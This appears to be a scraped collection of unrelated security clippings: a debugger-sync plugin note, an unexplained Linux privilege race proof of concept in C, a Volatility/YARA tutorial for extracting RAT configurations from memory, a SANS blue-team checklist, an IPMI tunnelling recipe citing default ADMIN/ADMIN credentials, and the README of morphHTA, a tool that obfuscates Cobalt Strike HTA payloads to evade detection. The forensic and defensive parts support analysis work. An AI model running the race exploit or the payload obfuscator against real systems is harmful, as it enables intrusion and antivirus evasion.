created``[sync.dll] Sync is now enable with host 127.0.0.1`  
---|---  
  
  
And that's all. A few extra sugar commands are available directly from the
debugger's command line:  
  

Code: plain1234567891011121314151617| `!cmt [-a address] <string>`` ``=> add
comment at current eip in IDA` `!rcmt [-a address]`` ``=> reset comment at
current eip in IDA` `!fcmt [-a address] <string>`` ``=> add a function comment
for function in which current eip is located` `!cmd <string>`` ``=> execute a
command in WinDbg and add its output as comment at current eip in IDA` `!bc
<on|off|>`` ``=> enable/disable path coloring in IDA. This is NOT a code
tracing tool,`` ``there are efficient tools for that. Each manually stepped
instruction is`` ``colored in the graph. Color a single instruction at current
eip if called `` ``without argument.`  
---|---  
  
  
As stated previously qb-sync is meant to be as simple as possible, no complex
features, trivial data formats. It can also easily be extended to support
synching with others debuggers \(provided that they have a decent API\). As an
example a GDB sample plugin is provided the archive.  
  
  
See README for more information about how to build/install/use the plugin.
Project is still in beta, feedbacks or suggestions/comments about potential
bugs are appreciated. Source code is available \(GNU GPL v3 license\):  
  
qb-sync-release-v0.1: http://www.quarkslab.com/dl/qb-sync-release-v0.1.zip  
  
  
Update: thanks to @lclee\_vx for reporting typo in sync.cpp, archive updated.

# grsec linux PoC?

**Created:**| _11/23/2017 11:08:05 AM_  
---|---  
**Updated:**| _11/23/2017 11:09:07 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

[code]

    #define _GNU_SOURCE
    #define _FILE_OFFSET_BITS 64
    #include <stdio.h>
    #include <pthread.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/time.h>
    #include <sys/resource.h>
    #include <sys/types.h>
    #include <sys/wait.h>
    
    int run;
    
    void *raw_threadproc(void *arg)
    {
    	struct rlimit rlim;
    	rlim.rlim_cur = 16 * 1024 * 1024;
    	rlim.rlim_max = 16 * 1024 * 1024;
    
    	while (!run) ;
    
    	while (1)
    		setrlimit(RLIMIT_STACK, &rlim);
    }
    
    int main(void)
    {
    	int pid;
    	while (1) {
    		pid = fork();
    		if (pid == 0) {
    			pthread_t id;
    			int i;
    			//for (i = 0; i < 3; i++)
    			//	pthread_create(&id, NULL, raw_threadproc, NULL);
    			run = 1;
    			execl("/sbin/checklimit", "/sbin/checklimit", NULL);
    		} else if (pid > 0) {
    			int i;
    			struct rlimit rlim, old_rlim;
    			rlim.rlim_cur = 16 * 1024 * 1024;
    			rlim.rlim_max = 16 * 1024 * 1024;
    			for (i = 0; i < 10000; i++)
    				prlimit(pid, RLIMIT_STACK, &rlim, &old_rlim);
    			wait(NULL);
    		}
    	}
    }
    
[/code]

  

# Ghetto Forensics: Dumping Malware Configuration Data from Memory with
Volatility

**Created:**| _10/11/2013 6:56:23 PM_  
---|---  
**Updated:**| _10/11/2013 6:56:23 PM_  
**Author:**| __  
**Tags:**| _Memory forensics Malware-analysis_  
  

# **D** umping Malware Configuration Data from Memory with Volatility****

As someone who has been in the digital forensics field for most of his life,
it's hard to find topics that truly amaze or surprise me \(beyond stories of
user stupidity ;\)\)**.** However, the rise of memory analysis tools has
really made me satisfied with how well the industry can conquer difficult
tasks, especially with free and open source tools**.**  
  
When I first start delving in memory forensics, we typically relied upon
controlled operating system crashes \(to create memory crash dumps\) or the
old FireWire exploit with a special laptop**.** Later, software-based tools
like regular dd, and win32dd, made the job much easier \(and more entertaining
as we watched the feuds between mdd and win32dd\)**.**  
  
In the early days, our analysis was basically performed with a hex editor**.**
By collecting volatile data from an infected system, we'd attempt to map
memory locations manually to known processes, an extremely frustrating and
error-prone procedure**.** Even with the advent of graphical tools such as
HBGary Responder Pro, which comes with a hefty price tag, I've found most of
my time spent viewing raw memory dumps in WinHex**.**  
  
I've slowly changed my ways over the years as tools like Volatility have
gained maturity and become more feature-rich**.** Volatility is a free and
open-source memory analysis tool that takes the hard work out of mapping and
correlating raw data to actual processes**.** At first I shunned Volatility
for it's sheer amount of command line memorization, where each query required
a new and specialized command line option**.** Over the years, I've come to
appreciate this aspect and the flexibility it provides to an examiner**.**  
  
It's with Volatility that I focus the content for this blog post, to dump
malware configurations from memory**.**  
  
For those unfamiliar with the concept, it's rare to find static malware**.**
That is, malware that has a plain-text URL in its .rdata section mixed in with
other strings**.** Modern malware tends to be more dynamic, allowing for
configurations to be downloaded upon infection, or be strategically injected
into the executable by its author**.** Crimeware malware \(Carberp, Zeus\)
tend to favor the former, connecting to a hardcoded IP address or domain to
download a detailed configuration profile \(often in XML\) that is used to
determine how the malware is to operate**.** What domains does it beacon to,
on which ports, and with what campaign IDs - these are the items we determine
from malware configurations**.**  
  
Other malware rely upon a known block of configuration data within the
executable, sometimes found within .rdata or simply in the overlay \(the data
after the end of the actual executable\)**.** Sometimes this data is in plain
text, often it's encoded or encrypted**.** A notable example of this is in
Mandiant's APT1 report on TARSIP-MOON, where a block of encrypted data is
stored in the overlay**.** The point of this implementation is that an author
can compile their malware, and then add in the appropriate configuration data
after the fact**.**  
  
As a method to improving the timeliness of malware analysis, I've been
advocating for greater research and implementation of configuration
dumpers**.** By identifying where data is stored within the file, and by
knowing its encryption routine, one could simply write a script to extract the
data, decrypt it, and print it out**.** Without even running the malware we
know its intended C2 communications and have immediate signatures that we can
then implement into our network defenses**.**  
  
While this data may appear as a simple structure in plaintext in a sample,
often it's encoded or encrypted via a myriad of techniques**.** Often this may
be a form of encryption that we, or our team, deemed as too difficult to
decrypt in a reasonable time**.** This is pretty common, advanced encryption
or compression can often take weeks to completely unravel and is often left
for when there's downtime in operations**.**  
  
What do we do, then**?** Easy, go for the memory.  
  
We know that the malware has a decryption routine that intakes this data and
produces decrypted output**.** By simply running the malware and analyzing its
memory footprint, we will often find the decrypted results in plaintext, as it
has already been decrypted and in use by the malware**.**  
  
Why break the encryption when we can let the malware just decrypt it for
us**?**  
  
For example, the awesome people at Malware**.** lu released a static
configuration dumper for a known Java-based RAT**.** This dumper, available
here on their GitHub repo , extracts the encryption key and configuration data
from the malware's Java ZIP and decrypts it**.** It uses Triple DES \(TDEA\),
but once that routine became public knowledge, the author quickly switched to
a new routine**.** The author has then continued switching encryption routines
regularly to avoid easy decryption**.** Based on earlier analysis, we know
that the data is decrypted as:  
  
Offset 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15  
  
00000000 70 6F 72 74 3D 33 31 33 33 37 53 50 4C 49 54 01 port=31337SPLIT**.**  
00000016 6F 73 3D 77 69 6E 20 6D 61 63 53 50 4C 49 54 01 os=win macSPLIT**.**  
00000032 6D 70 6F 72 74 3D 2D 31 53 50 4C 49 54 03 03 03 mport=-1SPLIT..**.**  
00000048 70 65 72 6D 73 3D 2D 31 53 50 4C 49 54 03 03 03 perms=-1SPLIT..**.**  
00000064 65 72 72 6F 72 3D 74 72 75 65 53 50 4C 49 54 01 error=trueSPLIT**.**  
00000080 72 65 63 6F 6E 73 65 63 3D 31 30 53 50 4C 49 54 reconsec=10SPLIT  
00000096 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ................  
00000112 74 69 3D 66 61 6C 73 65 53 50 4C 49 54 03 03 03 ti=falseSPLIT..**.**  
00000128 69 70 3D 77 77 77 2E 6D 61 6C 77 61 72 65 2E 63 ip=www.malware**.** c  
00000144 6F 6D 53 50 4C 49 54 09 09 09 09 09 09 09 09 09 omSPLIT........**.**  
00000160 70 61 73 73 3D 70 61 73 73 77 6F 72 64 53 50 4C pass=passwordSPL  
00000176 49 54 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E IT..............  
00000192 69 64 3D 43 41 4D 50 41 49 47 4E 53 50 4C 49 54 id=CAMPAIGNSPLIT  
00000208 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ................  
00000224 6D 75 74 65 78 3D 66 61 6C 73 65 53 50 4C 49 54 mutex=falseSPLIT  
00000240 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ................  
00000256 74 6F 6D 73 3D 2D 31 53 50 4C 49 54 04 04 04 04 toms=-1SPLIT....  
00000272 70 65 72 3D 66 61 6C 73 65 53 50 4C 49 54 02 02 per=falseSPLIT..  
00000288 6E 61 6D 65 3D 53 50 4C 49 54 06 06 06 06 06 06 name=SPLIT......  
00000304 74 69 6D 65 6F 75 74 3D 66 61 6C 73 65 53 50 4C timeout=falseSPL  
00000320 49 54 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E IT..............  
00000336 64 65 62 75 67 6D 73 67 3D 74 72 75 65 53 50 4C debugmsg=trueSPL  
00000352 49 54 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E IT..............  
  
Or, even if we couldn't decrypt this, we know that it's beaconing to a very
unique domain name and port which can be searched upon**.** Either way, we now
have a sample where we can't easily get to this decrypted information**.** So,
let's solve that.  
  
By running the malware within a VM, we should have a logical file for the
memory space**.** In VMWare, this is a .VMEM file \(or .VMSS for snapshot
memory\)**.** In VirtualBox, it's a .SAV file. After running our malware, we
suspend the guest operating system and then focus our attention on the memory
file**.**  
  
The best way to start is to simply grep the file \(from the command line or a
hex editor\) for the unique C2 domains or artifacts**.** This should get us
into the general vicinity of the configuration and show us the structure of
it:  
  
E:\VMs\WinXP\_Malware>grep "www.malware.com" \*  
Binary file WinXP\_Malware.vmem matches  
  
With this known, we open the VMEM file and see a configuration that matches
that of what we've previously seen**.** This tells us that the encryption
routine changed, but not that of the configuration, which is common**.** This
is where we bring out Volatility**.**

####  Searching Memory with Volatility****

We know that the configuration data begins with the text of
"port=<number>SPLIT", where "SPLIT" is used to delimit each field**.** This
can then be used to create a YARA rule of:

rule javarat\_conf \{  
strings: $a = /port=\[0-9\]\{1,5\}SPLIT/  
condition: $a  
\}  
  
This YARA rule uses the regular expression structure \(defined with forward
slashes around the text\) to search for "port=" followed by a number that is 1
- 5 characters long**.** This rule will be used to get us to the beginning of
the configuration data**.** If there is no good way to get to the beginning,
but only later in the data, that's fine**.** Just note that offset variance
between where the data should start and where the YARA rule puts us**.**  
  
Let's test this rule with Volatility first, to ensure that it works:  
  
E:\Development\volatility>vol**.** py -f
E:\VMs\WinXP\_Malware\WinXP\_Malware.vmem yarascan -Y
"/port=\[0-9\]\{1,5\}SPLIT/"  
Volatile Systems Volatility Framework 2**.** 3\_beta  
Rule: r1  
Owner: Process VMwareUser.exe Pid 1668  
0x017b239b 70 6f 72 74 3d 33 31 33 33 37 53 50 4c 49 54 2e
port=31337SPLIT**.**  
0x017b23ab 0a 30 30 30 30 30 30 31 36 20 20 20 36 46 20 37 **.**
00000016..**.** 6F.7  
0x017b23bb 33 20 33 44 20 37 37 20 36 39 20 36 45 20 32 30 3**.** 3D.77**.**
69.6E.20  
0x017b23cb 20 36 44 20 20 36 31 20 36 33 20 35 33 20 35 30 **.**
6D..61.63.53**.** 50  
Rule: r1  
Owner: Process javaw.exe Pid 572  
0x2ab9a7f4 70 6f 72 74 3d 33 31 33 33 37 53 50 4c 49 54 01
port=31337SPLIT**.**  
0x2ab9a804 6f 73 3d 77 69 6e 20 6d 61 63 53 50 4c 49 54 01
os=win.macSPLIT**.**  
0x2ab9a814 6d 70 6f 72 74 3d 2d 31 53 50 4c 49 54 03 03 03
mport=-1SPLIT..**.**  
0x2ab9a824 70 65 72 6d 73 3d 2d 31 53 50 4c 49 54 03 03 03
perms=-1SPLIT..**.**  
  
One interesting side effect to working within a VM is that some data may
appear under the space of VMWareUser.exe**.** The data is showing up somewhere
outside of the context of our configuration**.** We could try to change our
rule, but the simpler solution within the plugin is to just rule out hits from
VMWareUser.exe and only allow hits from executables that contain "java"**.**  
  
Now that we have a rule, how do we automate this**?** By writing a quick and
dirty plugin for Volatility**.**

####  Creating a Plugin****

A quick plugin that I'm demonstrating is composed of two primary components: a
YARA rule, and a configuration dumper**.** The configuration dumper scans
memory for the YARA rule, reads memory, and displays the parsed results**.**
An entire post could be written on just this file format, so instead I'll post
a very generic plugin and highlight what should be modified**.** I wrote this
based on the two existing malware dumpers already released with Volatility:
Zeus and Poison Ivy**.**  
  
Jamie Levy and Michael Ligh, both core developers on Volatility, provided some
critical input on ways to improve and clean up the code**.**

[code]

    # JavaRAT detection and analysis for Volatility - v 1**.** 0
    # This version is limited to JavaRAT's clients 3**.** 0 and 3.1, and maybe others 
    # Author: Brian Baskin <brian@thebaskins.com>
    #
    # This program is free software; you can redistribute it and/or modify
    # it under the terms of the GNU General Public License as published by
    # the Free Software Foundation; either version 2 of the License, or (at
    # your option) any later version**.**
    #
    # This program is distributed in the hope that it will be useful, but
    # WITHOUT ANY WARRANTY; without even the implied warranty of
    # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE**.** See the GNU
    # General Public License for more details**.** 
    #
    # You should have received a copy of the GNU General Public License
    # along with this program; if not, write to the Free Software
    # Foundation, Inc**.** , 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 
    
    import volatility.plugins.taskmods as taskmods
    import volatility.win32.tasks as tasks
    import volatility.utils as utils
    import volatility.debug as debug
    import volatility.plugins.malware.malfind as malfind
    import volatility.conf as conf
    import string
    
    try:
        import yara
        has_yara = True
    except ImportError:
        has_yara = False
    
    
    signatures = {
        'javarat_conf' : 'rule javarat_conf {strings: $a = /port=[0-9]{1,5}SPLIT/ condition: $a}'
    }
    
    config = conf.ConfObject()
    config.add_option('CONFSIZE', short_option = 'C', default = 256,
                               help = 'Config data size',
                               action = 'store', type = 'int')
    config.add_option('YARAOFFSET', short_option = 'Y', default = 0,
                               help = 'YARA start offset',
                               action = 'store', type = 'int')
    
    class JavaRATScan(taskmods.PSList):
        """ Extract JavaRAT Configuration from Java processes """
    
        def get_vad_base(self, task, address):
            for vad in task.VadRoot.traverse():
                if address >= vad.Start and address < vad.End:
                    return vad.Start
            return None
    
        def calculate(self):
            """ Required: Runs YARA search to find hits """ 
            if not has_yara:
                debug.error('Yara must be installed for this plugin')
    
            addr_space = utils.load_as(self**.** _config)
            rules = yara.compile(sources = signatures)
            for task in self.filter_tasks(tasks.pslist(addr_space)):
                if 'vmwareuser.exe' == task.ImageFileName.lower():
                    continue
                if not 'java' in task.ImageFileName.lower():
                    continue
                scanner = malfind.VadYaraScanner(task = task, rules = rules)
                for hit, address in scanner.scan():
                    vad_base_addr = self.get_vad_base(task, address)
                    yield task, address
    
        def make_printable(self, input):
            """ Optional: Remove non-printable chars from a string """
            input = input.replace('\x09', '')  # string.printable doesn't remove backspaces
            return ''.join(filter(lambda x: x in string.printable, input))
    
        def parse_structure(self, data):
            """ Optional: Parses the data into a list of values """
            struct = []
            items = data.split('SPLIT')
            for i in range(len(items) - 1):  # Iterate this way to ignore any slack data behind last 'SPLIT'
                item = self.make_printable(items[i])
                field, value = item.split('=')
                struct.append('%s: %s' % (field, value))
            return struct
        
        def render_text(self, outfd, data):
            """ Required: Parse data and display """
            delim = '-=' * 39 + '-'
            rules = yara.compile(sources = signatures)
            outfd.write('YARA rule: {0}\n'.format(signatures))
            outfd.write('YARA offset: {0}\n'.format(self**.** _config.YARAOFFSET))
            outfd.write('Configuration size: {0}\n'.format(self**.** _config.CONFSIZE))
            for task, address in data:  # iterate the yield values from calculate()
                outfd.write('{0}\n'.format(delim))
                outfd.write('Process: {0} ({1})\n\n'.format(task.ImageFileName, task.UniqueProcessId))
                proc_addr_space = task.get_process_address_space()
                conf_data = proc_addr_space.read(address + self**.** _config.YARAOFFSET, self._config.CONFSIZE)
                config = self.parse_structure(conf_data)
                for i in config:
                    outfd.write('\t{0}\n'.format(i))
    
[/code]

This code is also available on my GitHub **.**  
  
In a nutshell, you first have a signature to key on for the configuration
data**.** This is a fully qualified YARA signature, seen as:  
  
signatures = \{  
'javarat\_conf' : 'rule javarat\_conf \{strings: $a =
/port=\[0-9\]\{1,5\}SPLIT/ condition: $a\}'  
\}

This rule is stored in a Python dictionary format of 'rule\_name' : 'rule
contents'**.**  
  
The plugin allows a command line argument \(-Y\) to set the the YARA
offset**.** If your YARA signature hits 80 bytes past the beginning of the
structure, then set this value to -80, and vice versa**.** This can also be
hardcoded by changing the default value**.**  
  
There a second command line argument \(-C\) to set the size of data to read
for parsing**.** This can also be hardcoded. This will vary based upon the
malware; I've seen some multiple kilobytes in size**.**  
  
Rename the Class value, seen here as JavaRATScan, to whatever fits for your
malware**.** It has to be a unique name. Additionally, the """ """ comment
block below the class name contains the description which will be displayed on
the command line**.**  
  
I do have an optional rule to limit the search to a certain subset of
processes**.** In this case, only processes that contain the word "java" \-
this is a Java-based RAT, after all**.** It also skips any process of
"VMWareUser.exe".  
  
The plugin contains a parse\_structure routine that is fed a block of
data**.** It then parses it into a list of items that are returned and printed
to the screen \(or file, or whatever output is desired\)**.** This will
ultimately be unique to each malware, and the optional function of
make\_printable\(\) is one I made to clean up the non-printable characters
from the output, allowing me to extending the blocked keyspace**.**

####  Running the Plugin****

As a rule, I place all of my Volatility plugins into their own unique
directory**.** I then reference this upon runtime, so that my files are
cleanly segregated**.** This is performed via the --plugins option in
Volatility:

E:\Development\volatility>vol**.** py --plugins=..\Volatility\_Plugins

After specifying a valid plugins folder, run vol**.** py with the -h option to
ensure that your new scanner appears in the listing:

E:\Development\volatility>vol**.** py --plugins=..\Volatility\_Plugins -h

Volatile Systems Volatility Framework 2**.** 3\_beta

Usage: Volatility - A memory forensics analysis platform**.**

Options:

Supported Plugin Commands:

apihooks Detect API hooks in process and kernel memory

javaratscan Extract JavaRAT Configuration from Java processes

The names are automatically populated based upon your class names**.** The
text description is automatically pulled from the "docstring", which is the
comment that directly follows the class name in the plugin**.**

With these in place, run your scanner and cross your fingers:

For future use, I'd recommend prepending your plugin name with a unique
identifier to make it stand out, like "SOC\_JavaRATScan"**.** Prepending with
a "zz\_" would make the new plugins appear at the bottom of Volality's help
screen**.** Regardless, it'll help group the built-in plugins apart from your
custom ones**.**

####  The Next Challenge: Data Structures****

The greater challenge is when data is read from within the executable into a
data structure in memory**.** While the data may have a concise and structured
form when stored in the file, it may be transformed into a more complex and
unwieldy format once read into memory by the malware**.** Some samples may
decrypt the data in-place, then load it into a structure**.** Others decrypt
it on-the-fly so that it is only visible after loading into a structure**.**  
  
For example, take the following fictitious C2 data stored in the overlay of an
executable:  
  
Offset 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15  
  
00000000 08 A2 A0 AC B1 A0 A8 A6 AF 17 89 95 95 91 DB CE **.** ¢ ¬± ¨¦¯.‰••‘ÛÎ  
00000016 CE 96 96 96 CF 84 97 88 8D 92 88 95 84 CF 82 8E Î–––Ï„—ˆ�’ˆ•„Ï‚Ž  
00000032 8C 03 D5 D5 D2 08 B1 A0 B2 B2 B6 AE B3 A5 05 84 Œ**.** ÕÕÒ.± ²²¶®³¥.„  
00000048 99 95 93 80 ™•“€  
  
By reversing the malware, we determine that this composed of Pascal-strings
XOR encoded by 0xE1**.** Pascal-string are length prefixed, so applying the
correct decoding would result in:  
  
Offset 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15  
  
00000000 08 43 41 4D 50 41 49 47 4E 17 68 74 74 70 3A 2F .CAMPAIGN.http:/  
00000016 2F 77 77 77 2E 65 76 69 6C 73 69 74 65 2E 63 6F /www.evilsite**.** co  
00000032 6D 03 34 34 33 08 50 41 53 53 57 4F 52 44 05 65 m.443.PASSWORD**.** e  
00000048 78 74 72 61 xtra  
  
This is a very simple encoding routine, which I made with just:

[code]

    items = ['CAMPAIGN', 'http://www.evilsite.com', '443', 'PASSWORD', 'extra']
    data = ''
    for i in items:
        data += chr(len(i))
        for x in i: data += chr(ord(x) ^ 0xE1)
    
[/code]

Data structures are a subtle and difficult component of reverse engineering,
and vary in complexity with the skill of the malware author**.**
Unfortunately, data structures are some of the least shared indicators in the
industry**.**

Once completed, a sample structure could appear similar to the following:  
  
struct Configuration  
\{  
CHAR campaign\_id\[12\];  
CHAR password\[16\];  
DWORD heartbeat\_interval;  
CHAR C2\_domain\[48\];  
DWORD C2\_port;  
\}  
  
With this structure, and the data shown above, the malware reads each variable
in and applies it to the structure**.** But, we can already see some
discrepancies: the items are in a differing order, and some are of a different
type**.** While the C2 port is seen as a string, '443', in the file, it
appears as a DWORD once read into memory**.** That means that we'll be
searching for 0x01BB \(or 0xBB01 based on endianness\) instead of '443'**.**
Additionally, there are other values introduced that did not exist statically
within the file to contend with**.**  
  
An additional challenge is that depending on how the memory was allocated,
there could be slack data found within the data**.** This could be seen if the
malware sample allocates memory malloc\(\) without a memset\(\), or by not
using calloc\(\)**.**  
  
When read and applied to the structure, this data may appear as the following:  
  
Offset 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15  
  
00000000 43 41 4D 50 41 49 47 4E 00 0C 0C 00 00 50 41 53 CAMPAIGN.....PAS  
00000016 53 57 4F 52 44 00 00 00 00 00 00 00 00 00 17 70 SWORD..........p  
00000032 68 74 74 70 3A 2F 2F 77 77 77 2E 65 76 69 6C 73 http://www.evils  
00000048 69 74 65 2E 63 6F 6D 00 00 00 00 00 00 00 00 00 ite.com........**.**  
00000064 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................  
00000080 00 00 01 BB ..**.** »  
  
We can see from this that our strategy changes considerably when writing a
configuration dumper**.** The dumper won't be written based upon the structure
in the file, but instead upon the data structure in memory, after it has been
converted and formatted**.** We'll have to change our parser slightly to
account for this**.** For example, if you know that the Campaign ID is 12
bytes, then read 12 bytes of data and find the null terminator to pull the
actual string**.**  
  
This just scratches the surface of what you can do with encrypted data in
memory, but I hope it can inspire others to use this template code to make
quick and easy configuration dumpers to improve their malware analysis**.**  
  
****

# Blue Team Defender Guide \(Capture The Flag\)

**Created:**| _8/21/2009 10:32:01 AM_  
---|---  
**Updated:**| _9/18/2009 10:33:04 AM_  
**Author:**| __  
**Tags:**| _security ctf_  
  

## Blue Team Defender Guide \(Capture The Flag\)

Posted by Jason Fossen on August 12, 2009 – 8:00 pm

Filed under Blue Team, Course SEC505, Misc

In  _cyber war games_ the Red Team attackers try to hack into \(or just kill\)
the computers of the Blue Team defenders while an automated  _scorebot_ keeps
track of who is winning. Sometimes the players also get to play a kind of
_capture the flag_ in \(un\)coordinated groups as they fight to keep or steal
user accounts, secret files, listening ports, etc. These network wargames are
great fun and good practice for real life, especially when the adrenaline
starts pumping and the yelling starts — or especially when the beer starts
pumping and the drinking starts, whichever comes first…

As the instructors of the Blue Team Courses at SANS for operating systems, Hal
Pomeranz \(UNIX/Linux\) and myself \(Windows\) put together a one-page cheat
sheet guide back in Oct’07 for new Blue Team players at conferences to help
them survive the first ten minutes of gameplay without freaking out or
immediately getting crushed. The text of the guide is below and you can get it
in PDF format too, but remember that it’s not intended to be a comprehensive
incident handling guide, it’s just for those new to hacking and the capture
the flag games, so have fun\!

## Before Start of Play:

  * Who will be the team organizer? The team organizer documents the networks, system names, OS versions, IP addresses, open ports, passwords, and updates configuration changes for everyone to see \(such as on a whiteboard\); helps to prioritize tasks; ensures that no systems are forgotten; reminds players to periodically check for compromise; monitors the functioning of the fictional production application\(s\) and otherwise maintains the “big picture” and a calm head while others are absorbed in the details and chaos of gameplay.
  * Exactly which port numbers must be available on which systems for the scorebot? Can’t block these. 
  * How will the scorebot confirm that your other target applications are still running? Don’t block the scorebot.
  * Which target systems are running the most vulnerable operating systems and/or services \(such as IIS, RPC, SMB, and/or older unpatched software versions with known exploits\)? Important to prioritize.
  * What special tools will be available? Process Explorer? WireShark? Tripwire? PowerShell? Best to ask.
  * Does everyone on the team know how to view listening ports and established sessions? Does everyone know how to reset a password from the command line? Does everyone know how to kill a process? Does everyone know how to configure IPSec, the Windows Firewall and/or iptables for packet filtering?
  * Who are you permitted to ask for help if necessary? What can or can’t they do for you?

## When Play Begins:

  * Block all non-scorebot-required ports on all systems using IPSec/Windows Firewall/iptables.
  * Assign a different 15+ character long passphrase to every administrative account on every system. 
  * Change all default application and service passwords to a different 15+ character passphrase.
  * Remove all accounts from all administrative groups on each system except for one. 
  * Delete or disable all user accounts, including Guest, except for the one administrative account on each system.
  * Establish a baseline by saving lists of your current processes, listening ports, services, device drivers, user accounts, and all files \(”dir /s /b” or “ls –lARt”\) to text files on each machine. If possible, generate a checksum database using a tool like Tripwire \(or just md5sum\). Use this information to detect compromise.
  * Enable useful audit policies, clear all logs, and keep Event Viewer open \(Windows\) or “tail –f” critical log files \(Linux\). When you look at a log, if you notice that the only new events are of no security consequence, clear that log to reduce clutter during the games \(it’s not real life\).
  * Continuously watch your list of established sessions, running processes, target applications and logs to try to detect malicious changes. Write scripts or use command history \(up-arrow or F7\) to help automate this work. Detect changes and respond: kill offensive processes, delete new user accounts, delete new binaries, etc.
  * Finally, focus on your plan and  _don’t panic\!_

  *[August 12, 2009 – 8:00 pm]: 2009-08-12T20:00:08+0000

# Yann's Blog » Supermicro IPMI Remote KVM Annoyances

**Created:**| _8/29/2013 2:16:10 PM_  
---|---  
**Updated:**| _8/29/2013 2:16:10 PM_  
**Author:**| __  
**Tags:**| _network-security_  
  

# Supermicro IPMI Remote KVM Annoyances****

Filed under: Hardware  — Yann @ 8:10 pm

So, you have a Supermicro  server somewhere remote**.** Thats cool, they have
a nifty IPMI module \(either bridged to the primary interface or on a separate
port\)**.** One of the features is a remote IP-KVM over what is mostly
VNC**.** Of course, you have a complete distrust of anything embedded, so your
IPMI is on a separate LAN/VLAN**.** You also don’t have a VPN to this IPMI
LAN, because thats a lot of work for something that you’ll never use, and
everyone just uses ad-hoc SSH tunnels anyway, right**?**

Except, you are Supermicro’s IPMI KVM thing \(which is really made by a
company called ATEN, who I now think very very negatively of\)**.** That
means:

  1. The VNC connection is not standard, and standard clients won’t work**.**
  2. You need to use a Java Webstart application in order to actually connect \(which has native code too, ugh, its Java guys, no need to go native\) 
  3. The Java Webstart VNC application needs **UDP access to the IPMI port 623** \(WTF, I really don’t know why\) 

The last point is the kicker – you need to tunnel UDP in addition to TCP,
which SSH does not do natively**.**

Enter _socat_ , netcat on steroids**.** It can forward UDP over TCP and back
to UDP with little fuss**.** You’ll need socat on both ends of the
connection**.**

So, without further delay, the recipe:

**On the local system**  
`  
sudo socat -T15 udp4-recvfrom:623,reuseaddr,fork tcp:localhost:8000  
`  
**Now the SSH tunnel**  
`  
sudo ssh -L80:IPMIMACHINE:80 -L8000:localhost:8000 -L443:IPMIMACHINE:443
-L5900:IPMIMACHINE:5900 you@host-to-tunnel-through socat
tcp4-listen:8000,reuseaddr,fork UDP:IPMIMACHINE:623  
`

Replace IPMIMACHINE with the host you need to connect to, and host-to-tunnel-
through with the host which can access the IPMI network**.**

Navigate to http://localhost, enter your password \(hint: ADMIN/ADMIN\), hit
cancel on the “You need to install Java**\!** ” dialog \(which shows even if
you have applet support\), navigate to the remote redirection tab, hit cancel
on the same popup, and hit the Launch button**.** Run the JNLP Webstart file,
and SUCCESS**\!**

Next up: How to do this with an ASUS machine \(much simpler\)**.**

Comments Off

## No Comments****

No comments yet**.**

RSS feed for comments on this post**.**

Sorry, the comment form is closed at this time**.**

****

# morphHTA - Morphing Cobalt Strike PowerShell Evil HTA Generator

**Created:**| _6/29/2017 3:44:31 PM_  
---|---  
**Updated:**| _6/29/2017 3:44:31 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# morphHTA - Morphing Cobalt Strike PowerShell Evil HTA Generator

<img src='img/morphHTA.png' width='576' height='246' />

morphHTA is a Morphing Cobalt Strike PowerShell Evil HTA Generator  
  
**Usage** :

[code]

    usage: morph-hta.py [-h] [--in <input_file>] [--out <output_file>]
                        [--maxstrlen <default: 1000>] [--maxvarlen <default: 40>]
                        [--maxnumsplit <default: 10>]
    
    optional arguments:
      -h, --help            show this help message and exit
      --in <input_file>     File to input Cobalt Strike PowerShell HTA
      --out <output_file>   File to output the morphed HTA to
      --maxstrlen <default: 1000>
                            Max length of randomly generated strings
      --maxvarlen <default: 40>
                            Max length of randomly generated variable names
      --maxnumsplit <default: 10>
                            Max number of times values should be split in chr
                            obfuscation
[/code]

<img src='img/13782_faraday-728x90+%282%29.png' width='576' height='71' />

  
**Examples:**

[code]

    /morphHTA# python morph-hta.py
    ﻿███╗   ███╗ ██████╗ ██████╗ ██████╗ ██╗  ██╗      ██╗  ██╗████████╗ █████╗
    ████╗ ████║██╔═══██╗██╔══██╗██╔══██╗██║  ██║      ██║  ██║╚══██╔══╝██╔══██╗
    ██╔████╔██║██║   ██║██████╔╝██████╔╝███████║█████╗███████║   ██║   ███████║
    ██║╚██╔╝██║██║   ██║██╔══██╗██╔═══╝ ██╔══██║╚════╝██╔══██║   ██║   ██╔══██║
    ██║ ╚═╝ ██║╚██████╔╝██║  ██║██║     ██║  ██║      ██║  ██║   ██║   ██║  ██║
    ╚═╝     ╚═╝ ╚═════╝ ╚═╝  ╚═╝╚═╝     ╚═╝  ╚═╝      ╚═╝  ╚═╝   ╚═╝   ╚═╝  ╚═╝
    
    Morphing Evil.HTA from Cobalt Strike
    Author: Vincent Yiu (@vysec, @vysecurity)
    
    
    [*] morphHTA initiated
    [+] Writing payload to morph.hta
    [+] Payload written
[/code]

**Max variable name length and randomly generated string length reduced to
reduce the overall size of HTA output:**

[code]

    /morphHTA# python morph-hta.py --maxstrlen 4 --maxvarlen 4
[/code]

  
**Max split in chr\(\) obfuscation, this reduces the number of additions we do
to reduce length:**

[code]

    /morphHTA# python morph-hta.py --maxnumsplit 4
[/code]

  
**Change input file and output files:**

[code]

    /morphHTA# python morph-hta.py --in advert.hta --out advert-morph.hta
[/code]

  
  
**VirusTotal Example**  
**_I suggest not uploading to VT_** :

<img src='img/morphHTA_2.png' width='576' height='410' />

**Example of Obfuscated HTA content**

<img src='img/morphHTA_3.png' width='576' height='500' />

**Download morphHTA**

  

# CVE-2018-18500: write-after-free vulnerability in Firefox, Analysis and
Exploitation

**Created:**| _5/10/2019 8:15:21 AM_  
---|---  
**Updated:**| _5/10/2019 8:15:21 AM_  
